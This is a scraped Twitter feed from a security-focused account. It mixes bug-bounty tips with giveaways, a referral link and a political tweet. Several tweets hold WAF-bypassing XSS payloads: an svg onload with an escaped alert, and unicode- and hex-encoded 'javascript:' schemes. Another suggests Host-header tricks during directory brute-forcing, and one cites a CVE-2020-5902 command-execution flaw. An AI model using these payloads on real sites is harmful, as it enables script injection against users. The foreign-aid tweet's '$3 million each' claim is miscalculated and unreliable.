CodingSecurity

Interested in coding? Interested in all things security? You’ve come to the right place. How-Tos, Reviews, and Projects to improve your code security knowledge

[CodingSecurity @CodingSecurity]

Hey everyone! I know it’s been a slow start but for all updates and off-Twitter content, feel free to follow me on Instagram: https://t.co/FovUkLEPG6 Join my Discord: https://t.co/vfxEBylgZL or Subscribe on Twitch: https://t.co/bSaJVWxz8L. All of the love and support is amazing!

[MTGNerdGirl @MTGNerdGirl]

Giveaway!🥰

I bought another 100 sets of rock-paper-scissors to giveaway. Lets do 50 now!

Hopefully these will brighten your day and get you excited to play paper Magic again once the #COVID19 crisis abates. Support your LGS!🥳

Follow and retweet for a chance to win your set!

[CodingSecurity @CodingSecurity]

@akihiro_unu @elonmusk Join Robinhood with my link and we'll both get a free stock 🤝 https://t.co/ye6hQ7wgPS

[CodingSecurity @CodingSecurity]

For those who don’t realize, this is a joke. I’m referring to the tweet made by @MekitaRivas that was read on @MSNBC by @bwilliams and @maragay

[CodingSecurity @CodingSecurity]

The US Government just spent over $900 million on foreign aid. The US population is 327 million. They could have given each American almost $3 million but didn’t. I feel like a $3 million check would be life-changing for most people. Yet they sent it overseas while we here suffer

[CodingSecurity @CodingSecurity]

Recon is great. Enumerate Directories. Subdomains. Check for footholds

[Dr. Rohit Gautam @aslicyberguy]

Giveaway Time: 💯
@shifacyclewala @CristiVlad25
1. 50 Lucky Winners for my BBv1 Course
2. 50 Lucky Winners for my BBv2 Course
3. 50 Lucky Winners for my Recon Course
4. 10 Lucky Winners to all membership courses access for 1 year.

To enter: Follow, RT the tweet, comment a tip!

[CodingSecurity @CodingSecurity]

Oh how times have changed

[Intigriti @intigriti]

How it started - how it's going 🐚

[CodingSecurity @CodingSecurity]

Let’s give it a shot

[LiveOverflow 🔴 hextree.io @LiveOverflow]

Can you trigger a XSS?
https://t.co/4qPZ0Ge8DP

[Ahsan Khan @hunter0x7]

https://t.co/RCK4a1QSMN
response = nothing

https://t.co/RCK4a1QSMN~
response = source

[Jasmin Landry @JR0ch17]

I just found this on a pentest, my password can run OS commands.... WTF 😬

[Luis Madero @_Y000_]

Xss payload bypass mod_security

<svg onload='new Function`["_Y000!_"].find(al\u0065rt)`'>

#xss #payload #bypass #waf

[Hack3rScr0lls @hackerscrolls]

@intigriti @SecurityMB Nice trick, we also tried to find all possible bypasses in href/javascript, check it!

https://t.co/zf0FTwwnaS
https://t.co/agAkUsKm3h

[Renwa @RenwaX23]

@zseano @intigriti @SecurityMB Or ES6 unicode
https://t.co/RPfMUyJQQU

[zseano @zseano]

@intigriti @SecurityMB depending where it's reflected you could also get rid of the word "javascript" altogether

\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)

\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)

https://t.co/twb3awvzbi

[Intigriti @intigriti]

Testing for XSS via “javascript:” but it’s blocked by a WAF? Try these bypasses.
Thanks for the #BugBountyTip, @SecurityMB!
#BugBountyTips #HackWithIntigriti

[𝚖𝚎𝚛𝚝 🦧 @mertistaken]

Thanks for these cool MVP gifts! 😊 @Bugcrowd

[Josh Amishav-Zlatin @Jamuse]

Episode 19 of the InfoSec & OSINT Show is out. this week @thedawgyg hangs out to chat about his unique approach to bug bounty hunting, recon, finding new bugs and how to get started. Check it out:
https://t.co/x240dHd0dq

[Intigriti @intigriti]

Want to find critical bugs by changing a single header? Do just like @hacker_ & set your host header to 'localhost' in your next directory bruteforce, the results might be surprising! 🔥 #BugBountyTip #BugBountyTips

[Vue @vuejs]

Vue 3 is now in RC! https://t.co/dMPbE5brf0

[Adan0s @Adan0s1]

CVE-2020-5902

I get it.

[ch @chybeta]

CVE-2020-5902 allows for unauthenticated attackers execute arbitrary system commands, create or delete files, disable services, and/or execute arbitrary Java code.

👇just an example